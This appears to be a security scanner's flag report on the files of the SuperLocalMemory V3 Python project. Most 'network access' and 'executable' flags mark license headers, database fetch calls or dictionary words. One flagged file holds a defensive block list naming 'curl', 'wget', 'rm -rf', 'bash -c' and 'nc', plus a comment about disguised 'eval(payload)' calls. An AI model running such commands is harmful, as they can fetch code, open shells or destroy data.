# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/scale_engine.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/score_contract.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/security_primitives.py
src/superlocalmemory/core/session_identity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/shadow_router.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/slm_disabled.py
src/superlocalmemory/core/source_excerpt.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/source_fact_set.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/source_fidelity_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/source_fidelity_quarantine.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/standing_rules.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/status_contract.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/store_pipeline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/summarizer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/support_fit_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/support_stage.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/tag_identity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/tag_query.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 78
def fetch(limit: int) -> list["AtomicFact"]: - Network accessline 102
def fetch(limit: int) -> list["AtomicFact"]:
src/superlocalmemory/core/text_provider.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/thread_join.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/tier_manager.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/core/topic_signature.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/concrete_owners.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/erase_redrive.py
- Executable scriptline 1
Executable file - Network accessline 121
ledger = ObligationLedger() with db.raw_connection() as conn: obligations = ledger.fetch(conn, operation_id) - Network accessline 122
with db.raw_connection() as conn: obligations = ledger.fetch(conn, operation_id) unfinished = [o for o in obligations if _needs_proof(o, profile_id)] - Network accessline 123
obligations = ledger.fetch(conn, operation_id)
src/superlocalmemory/core/transactions/erasure.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/manifest.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/manifest_key.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/obligations.py
src/superlocalmemory/core/transactions/owners.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/transactions/reconciler.py
- Executable scriptline 1
Executable file - Network accessline 40
) -> CompletionManifest: committed = self._resolve_canonical(conn, operation_id, canonical_committed) obligations = self._ledger.fetch(conn, operation_id) - Network accessline 41
committed = self._resolve_canonical(conn, operation_id, canonical_committed) obligations = self._ledger.fetch(conn, operation_id) evidence = build_evidence(obligations) - Network accessline 42
obligations = self._ledger.fetch(conn, operation_id)
src/superlocalmemory/core/transactions/service.py
- Executable scriptline 1
Executable file - Network accessline 56
self, conn: sqlite3.Connection, context: OperationContext, ) -> None: for obligation in self._ledger.fetch(conn, context.operation_id): - Network accessline 57
) -> None: for obligation in self._ledger.fetch(conn, context.operation_id): if obligation.kind is not ObligationKind.APPLY: - Network accessline 58
for obligation in self._ledger.fetch(conn, context.operation_id): - Network accessline 69
self, conn: sqlite3.Connection, context: OperationContext, ) -> None: for obligation in self._ledger.fetch(conn, context.operation_id): - Network accessline 70
) -> None: for obligation in self._ledger.fetch(conn, context.operation_id): if obligation.kind is not ObligationKind.ERASE: - Network accessline 71
for obligation in self._ledger.fetch(conn, context.operation_id): - Network accessline 141
op = context.operation_id with db.raw_connection() as conn: obligations = self._ledger.fetch(conn, op) - Network accessline 142
with db.raw_connection() as conn: obligations = self._ledger.fetch(conn, op) for obligation in obligations: - Network accessline 143
obligations = self._ledger.fetch(conn, op)
src/superlocalmemory/core/transactions/tombstones.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/worker_pool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 319
[Credential-related source omitted]
src/superlocalmemory/core/working_memory.py
- Executable scriptline 1
Executable file
src/superlocalmemory/core/writer_refusals.py
- Executable scriptline 1
Executable file
src/superlocalmemory/daemon/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/daemon/materializer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/daemon/record_guardian.py
- Executable scriptline 1
Executable file
src/superlocalmemory/daemon/services.py
- Executable scriptline 1
Executable file
src/superlocalmemory/documents/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/chunking.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/heavy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/lint.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/pagefacts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/parse_proc.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 71
[Credential-related source omitted]
src/superlocalmemory/documents/pipeline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/runner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 35
[Credential-related source omitted]
src/superlocalmemory/documents/status.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/documents/submit.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 66
[Credential-related source omitted] - Possible obfuscationline 113
data = base64.b64decode(inp.base64 or "", validate=True)
src/superlocalmemory/dynamics/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/dynamics/activation_guided_quantization.py
- Executable scriptline 1
Executable file
src/superlocalmemory/dynamics/eap_scheduler.py
- Executable scriptline 1
Executable file
src/superlocalmemory/dynamics/ebbinghaus_langevin_coupling.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/dynamics/fisher_langevin_coupling.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/assertion_support.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/auto_linker.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/causal_evidence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/ccq_dates.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/cognitive_consolidator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/common_words.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/consolidator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/context_generator.py
src/superlocalmemory/encoding/coverage_facts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/data/common_english_words.txt
- Network accessline 3
# Source: the "3esl" list of the 12dicts project by Alan Beale, as packaged in # SCOWL's Alt12Dicts (Kevin Atkinson): # https://github.com/en-wl/wordlist/blob/v1/alt12dicts/3esl.txt - Network accessline 4
# SCOWL's Alt12Dicts (Kevin Atkinson): # https://github.com/en-wl/wordlist/blob/v1/alt12dicts/3esl.txt # git blob 6d586758f7ce2bd7fc9449a7e967fd017d0c7a65, - Network accessline 5
# https://github.com/en-wl/wordlist/blob/v1/alt12dicts/3esl.txt - Network accessline 3977
curiously curl curler - Network accessline 3978
curl curler curly
src/superlocalmemory/encoding/date_resolution.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/date_scan.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/emotional.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_confirm.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_fact_lookup.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/entity_lookup_index.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_match.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_mentions.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_name_cache.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_resolver.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entity_validity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/entropy_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/fact_extraction_result.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/fact_extractor.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/fact_fields.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/fact_grounding.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/fact_speakers.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/foresight.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/gist_store.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/graph_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/llm_kind_hint.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/local_description_kinds.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/memory_kind_classifier.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/memory_kind_recipe.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/memory_kind_rules.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/non_answer.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/observation_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/prospective_markers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/relative_support.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/scene_builder.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/signal_inference.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/source_fidelity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/source_spans.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/speaker_spans.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/temporal_parser.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/temporal_validator.py
- Executable scriptline 1
Executable file
src/superlocalmemory/encoding/type_router.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/encoding/typed_values.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evaluation/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evaluation/answer_quality.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evaluation/calibration.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evaluation/gold_presence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/approval.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/backup_files.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/blind_verifier.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/budget.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/candidate_pipeline.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/evolution_store.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/llm_dispatch.py
- Executable scriptline 1
Executable file - Network accessline 274
try: req = urllib.request.Request( - Network accessline 275
req = urllib.request.Request( - Network accessline 276
"http://127.0.0.1:11434/api/generate", - Access to secretsline 337
[Credential-related source omitted] - Access to secretsline 411
[Credential-related source omitted] - Access to secretsline 539
[Credential-related source omitted]
src/superlocalmemory/evolution/model_selection.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/mutation_generator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Dangerous shell operationline 109
"curl", "wget", "rm -rf", "bash -c", "sh -c", "zsh -c", "nc -", - Network accessline 109
"curl", "wget", "rm -rf", "bash -c", "sh -c", "zsh -c", "nc -", - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Dangerous shell operationline 123
#: Whitespace between a name and its opening parenthesis. ``eval (payload)` #: runs exactly as ``eval(payload)`` does, and a substring list only saw the - Dangerous shell operationline 124
#: runs exactly as ``eval(payload)`` does, and a substring list only saw the
src/superlocalmemory/evolution/skill_activator.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later — see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/evolution/skill_artifacts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/evolution/skill_evolver.py
- Executable scriptline 1
Executable file - Network accessline 58
req = urllib.request.Request( - Network accessline 59
"http://127.0.0.1:11434/api/tags", - Network accessline 60
method="GET", ) with urllib.request.urlopen(req, timeout=2): # noqa: S310 - Network accessline 61
